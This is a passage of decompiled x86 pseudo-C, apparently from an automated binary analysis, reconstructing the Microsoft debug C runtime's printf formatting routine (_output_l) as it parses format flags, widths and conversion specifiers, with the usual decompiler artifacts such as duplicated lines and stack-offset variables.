														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E004341E0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E00435710( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E004356D0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C4F0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M00428208))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E004311D0( *(_t524 - 0x251) & 0x000000ff, E0041AE00(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E00435630( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E00435630( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E330();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00422E20(_t509))) = 0x16;
																		E00422BB0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041ADD0(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x428240; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428228))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x428268; // 0x7b1f9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428254))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x4282d4; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00428298))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E00428310(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041AE00(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a0;
																				_push(__ebp - 0x2a0);
																				__eax =  *0x440374; // 0xf9b80f80
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xfe6faf80
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xfe6d6f80
																						E00424670(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				do {
																					L181:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L207;
																					}
																					goto L182;
																				} while ( *(__ebp - 0x30c) > 0x37);
																				goto L63;
																			}
																			L118:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L120;
																			}
																			L119:
																			 *(__ebp - 0x30) = 1;
																			goto L122;
																		}
																		L116:
																		 *(__ebp - 0x30) = 6;
																		goto L122;
																	case 6:
																		L66:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L70:
																			__ebp + 0x14 = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x280) = __ax;
																			__cl =  *(__ebp - 0x280);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																			L71:
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L67:
																		 *(__ebp - 0x27c) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428350(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x27c) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x27c);
																		if( *(__ebp - 0x27c) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																		L69:
																		goto L71;
																	case 7:
																		L135:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L144;
																	case 8:
																		L100:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x294) = E00428310(__ebp + 0x14);
																		__eax = E00433EC0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L110:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x294);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x294);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L101:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x314) = 0;
																		} else {
																			 *(__ebp - 0x314) = 1;
																		}
																		__eax =  *(__ebp - 0x314);
																		 *(__ebp - 0x298) =  *(__ebp - 0x314);
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E330();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) != 0) {
																			L109:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		} else {
																			L108:
																			 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																			__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2e8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ADD0(__ecx);
																			__eax =  *(__ebp - 0x2e8);
																			L211:
																			return E0042BC70(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																		}
																	case 9:
																		L142:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																	case 0xa:
																		goto L0;
																	case 0xb:
																		L81:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x310) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x310) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x310);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428310(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L92:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x288) =  *(__ebp - 4);
																			while(1) {
																				L95:
																				__ecx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L96:
																				__eax =  *(__ebp - 0x288);
																				__ecx =  *( *(__ebp - 0x288));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L97:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			}
																			L98:
																			__eax =  *(__ebp - 0x288);
																			__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
